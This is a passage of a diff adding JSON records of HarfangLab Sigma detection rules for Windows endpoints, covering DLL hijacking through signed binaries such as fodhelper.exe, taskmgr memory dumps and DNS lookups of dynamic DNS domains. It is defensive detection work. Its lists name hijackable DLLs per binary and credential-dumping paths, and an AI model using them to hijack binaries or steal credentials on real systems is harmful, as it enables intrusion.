+  "content": "title: DLL Hijacking via fodhelper.exe\nid: bbd104fd-9499-44d2-8315-0480a5e955bf\ndescription: |\n    Detects potential Windows DLL Hijacking via fodhelper.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fodhelper.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\edputil.dll'\n            - '\\MLANG.dll'\n            - '\\PROPSYS.dll'\n            - '\\Secur32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\WININET.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bbd104fd-9499-44d2-8315-0480a5e955bf",
+  "rule_name": "DLL Hijacking via fodhelper.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fodhelper.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bbd3568d-604c-46d1-ac64-2e9eec0c9e01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601981Z",
+  "creation_date": "2026-03-23T11:45:34.601985Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601992Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wpnpinst.yml",
+  "content": "title: DLL Hijacking via wpnpinst.exe\nid: bbd3568d-604c-46d1-ac64-2e9eec0c9e01\ndescription: |\n    Detects potential Windows DLL Hijacking via wpnpinst.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wpnpinst.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\PROPSYS.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bbd3568d-604c-46d1-ac64-2e9eec0c9e01",
+  "rule_name": "DLL Hijacking via wpnpinst.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wpnpinst.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc503d34-1b44-4b9b-93a5-d6c4d21983f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627966Z",
+  "creation_date": "2026-03-23T11:45:34.627968Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627973Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_memory_dump_with_taskmgr.yml",
+  "content": "title: Process Memory Dumped via taskmgr.exe\nid: bc503d34-1b44-4b9b-93a5-d6c4d21983f4\ndescription: |\n    Detects a suspicious attempt to dump a process memory using taskmgr.\n    Adversaries may attempt to access credential material stored in the process memory.\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to analyze other actions taken by the same user in its session to look for suspicious activities and to determine whether this user is legitimately connected to the host.\n    It is also recommended to investigate the process that was dumped to determine whether it could have holding valuable or sensitive information or credentials.\nreferences:\n    - https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2023/09/26\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Image|endswith: '\\Taskmgr.exe'\n        Path|endswith: '\\Temp\\\\*.DMP'\n\n    # This is handled by the rule 78397a73-7ba5-4e02-8847-6a3242d29f28\n    filter_lsass:\n        Path|endswith: '\\lsass*.DMP'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc503d34-1b44-4b9b-93a5-d6c4d21983f4",
+  "rule_name": "Process Memory Dumped via taskmgr.exe",
+  "rule_description": "Detects a suspicious attempt to dump a process memory using taskmgr.\nAdversaries may attempt to access credential material stored in the process memory.\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to analyze other actions taken by the same user in its session to look for suspicious activities and to determine whether this user is legitimately connected to the host.\nIt is also recommended to investigate the process that was dumped to determine whether it could have holding valuable or sensitive information or credentials.\n",
+  "rule_creation_date": "2023-09-26",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc513da5-13a0-445a-bd9a-6878834f9c18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594133Z",
+  "creation_date": "2026-03-23T11:45:34.594137Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594144Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ehttpsrv.yml",
+  "content": "title: DLL Hijacking via EHttpSrv.exe\nid: bc513da5-13a0-445a-bd9a-6878834f9c18\ndescription: |\n    Detects potential Windows DLL Hijacking via EHttpSrv.exe related to ESET HTTP Server service process.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'EHttpSrv.exe'\n        ImageLoaded|endswith: '\\http_dll.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\ESET\\'\n            - '?:\\Program Files (x86)\\ESET\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\ESET\\'\n            - '?:\\Program Files (x86)\\ESET\\'\n            - '?:\\Windows\\System32\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'ESET, spol. s r.o.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc513da5-13a0-445a-bd9a-6878834f9c18",
+  "rule_name": "DLL Hijacking via EHttpSrv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via EHttpSrv.exe related to ESET HTTP Server service process.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc52849e-854e-46a1-af98-d7a3e7a81f20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076812Z",
+  "creation_date": "2026-03-23T11:45:34.076814Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076818Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_appvclient.yml",
+  "content": "title: DLL Hijacking via AppVClient.exe\nid: bc52849e-854e-46a1-af98-d7a3e7a81f20\ndescription: |\n    Detects potential Windows DLL Hijacking via AppVClient.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'AppVClient.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\appvpolicy.dll'\n            - '\\netapi32.dll'\n            - '\\secur32.dll'\n            - '\\userenv.dll'\n            - '\\wininet.dll'\n            - '\\wtsapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc52849e-854e-46a1-af98-d7a3e7a81f20",
+  "rule_name": "DLL Hijacking via AppVClient.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via AppVClient.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc584877-b80e-43ee-93ae-a442c27df4bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089490Z",
+  "creation_date": "2026-03-23T11:45:34.089493Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089499Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wallpaperhost.yml",
+  "content": "title: DLL Hijacking via WallpaperHost.exe\nid: bc584877-b80e-43ee-93ae-a442c27df4bd\ndescription: |\n    Detects potential Windows DLL Hijacking via WallpaperHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WallpaperHost.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\shell32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc584877-b80e-43ee-93ae-a442c27df4bd",
+  "rule_name": "DLL Hijacking via WallpaperHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WallpaperHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc5e24a5-f7a9-4a3b-aeec-0bc59fe7bb2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625022Z",
+  "creation_date": "2026-03-23T11:45:34.625023Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625028Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1071/004/"
+  ],
+  "name": "t1071_004_dyndns_windows_folder.yml",
+  "content": "title: DNS Request to a Dynamic DNS Service by a Windows Binary\nid: bc5e24a5-f7a9-4a3b-aeec-0bc59fe7bb2e\ndescription: |\n    Detects a DNS request to dynamic DNS service by a process located in Windows folder.\n    Adversaries may use DynDNS service to host their C2 server or deploy additional malicious code.\n    It is recommended check process doing the DNS request for any other suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1071/004/\ndate: 2025/04/09\nmodified: 2025/12/10\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.004\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: dns_query\n    product: windows\ndetection:\n    selection:\n        QueryName|endswith:\n            - '.freeddns.org'\n            - '.ddns.net'\n            - '.duckdns.org'\n        ProcessImage|startswith: '?:\\windows\\'\n\n    filter_excpected_bin:\n        - ProcessImage:\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\System32\\mstsc.exe'\n            - '?:\\Windows\\System32\\curl.exe'\n            - '?:\\Windows\\System32\\TRACERT.EXE'\n            - '?:\\Windows\\System32\\OpenSSH\\ssh.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\mstsc.exe'\n            - '?:\\Windows\\SysWOW64\\curl.exe'\n            - '?:\\Windows\\SysWOW64\\TRACERT.EXE'\n            - '?:\\Windows\\SysWOW64\\OpenSSH\\ssh.exe'\n        - ProcessImage: '?:\\Windows\\SysWOW64\\svchost.exe'\n          ProcessCommandLine|contains: '-k'\n\n    exclusion_kms:\n        ProcessImage: '?:\\Windows\\System32\\SppExtComObj.Exe'\n        QueryName: 'kms.ddns.net'\n\n    exclusion_experiencehost:\n        ProcessImage: '?:\\Windows\\SystemApps\\Microsoft.Windows.StartMenuExperienceHost_*\\StartMenuExperienceHost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc5e24a5-f7a9-4a3b-aeec-0bc59fe7bb2e",
+  "rule_name": "DNS Request to a Dynamic DNS Service by a Windows Binary",
+  "rule_description": "Detects a DNS request to dynamic DNS service by a process located in Windows folder.\nAdversaries may use DynDNS service to host their C2 server or deploy additional malicious code.\nIt is recommended check process doing the DNS request for any other suspicious activities.\n",
+  "rule_creation_date": "2025-04-09",
+  "rule_modified_date": "2025-12-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc730779-ef0e-4f39-aef6-c0c22bcaee97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624221Z",
+  "creation_date": "2026-03-23T11:45:34.624223Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624227Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/threat-intelligence/google-chrome-app-bound-encryption/",
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1055_suspicious_remote_thread_msedge.yml",
